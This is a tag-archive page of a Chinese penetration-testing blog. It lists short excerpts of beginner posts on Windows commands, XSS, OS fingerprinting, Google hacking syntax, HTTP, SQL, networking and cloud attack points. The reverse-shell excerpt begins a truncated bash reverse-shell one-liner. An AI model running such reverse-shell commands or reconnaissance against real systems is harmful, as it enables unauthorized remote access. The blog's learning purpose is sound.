标签: 基础知识 | Putdown-Blog

CiCd-Goat 1 DVWA 5 hexo 4 Kubernetes Goat 15 提权 1 pikachu 1 SQL-labs 6 SQL注入 12 upload-labs 1 vulnhub 28 XSS-labs 1 靶场 57 胡言乱语 2 环境搭建 4 数据库 8 默认密码 1 编辑器漏洞 1 信息收集 1 文件上传 1 基础知识 24 工具 17 漏洞复现 11 Halo 1

未读

Windows命令

title: 在windows中常用的DOS命令 tags: Windows abbrlink: adde0752 date: 2022-05-12 14:57:16 在windows中常用的DOS命令常用文件管理命令 ls 列出当前目录下所有文件 ls

基础知识 2024-01-07

未读

XSS

title: XSS跨站脚本 tags: XSS abbrlink: eb18e635 date: 2022-08-10 17:16:15 XSS跨站脚本 XSS是指攻击者在网页中嵌入客户端脚本，通常是JavaScript编写的恶意代码，当用户使用浏览器浏览被嵌入恶意代码的网页时，恶意代码将会在用户

基础知识 2024-01-07

未读

操作系统-数据库

title: 操作系统&数据库 tags: 操作系统&数据库 abbrlink: 4644d087 date: 2022-07-19 15:29:41 操作系统&数据库操作系统层面识别操作系统常见方法看字母大小写，windows对大小写不敏感，Linux敏感看ping值 --ttl在64左右

基础知识数据库 2024-01-07

未读

反弹shell

title: 反弹shell abbrlink: 2f610211 date: 2022-09-27 10:24:53 tags: 反弹shell 常用反弹shell方式如下（bash/curl/http），其他反弹shell方式参考：Click Here bash bash -i >& /dev/

基础知识 2024-01-07

未读

谷歌Hacker语法

title: 谷歌Hacker语法 tags: 搜索 abbrlink: f25a4449 date: 2022-06-25 11:49:42 #　在信息收集中常用谷歌Hacker语法 Intext: 查找网页中含有xx关键字的网站 Intitle：查找某个标题 allintitle: 用法和in

基础知识 2024-01-07

未读

渗透测试专业术语

title: 渗透测试专业术语 tags: 术语 abbrlink: fafc01e0 date: 2022-07-12 13:15:43 渗透测试专业术语介绍域名: 由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称，用于在数据传输时对计算机的定位标识（有时也指地理位置）.

基础知识 2024-01-07

未读

数据包

title: http数据包 tags: http abbrlink: 4b510cae date: 2022-07-15 08:33:45 Https/Http HTTPS协议需要到CA申请证书，一般免费证书很少，需要交费。 HTTP协议运行在TCP之上，所有传输的内容都是明文，HTTPS运行在S

基础知识 2024-01-07

未读

数据库基本语句

title: 数据库语句 tags: 数据库 abbrlink: 78f500d6 date: 2022-06-28 08:36:28 数据库的基本语句 Create database 数据库名创建新数据库 drop database 数据库名

基础知识数据库 2024-01-07

未读

网络基础知识

title: 网络基础知识 tags: 网络 abbrlink: 2fa9840e date: 2022-07-11 09:21:21 网络基础知识网络层次划分 OSI分层 OSI RM：开放系统互连参考模型（Open System Interconnection Reference Model）

基础知识 2024-01-07

未读

云安全-攻击点

abbrlink: '' categories: [] date: '2023-08-13T09:54:23.124239+08:00' tags: 云安全 title: 云安全-攻击点 updated: 2023-8-13T10:0:34.469+8:0 公有云攻击点公有云攻击分为两类: ● 针

基础知识 2024-01-07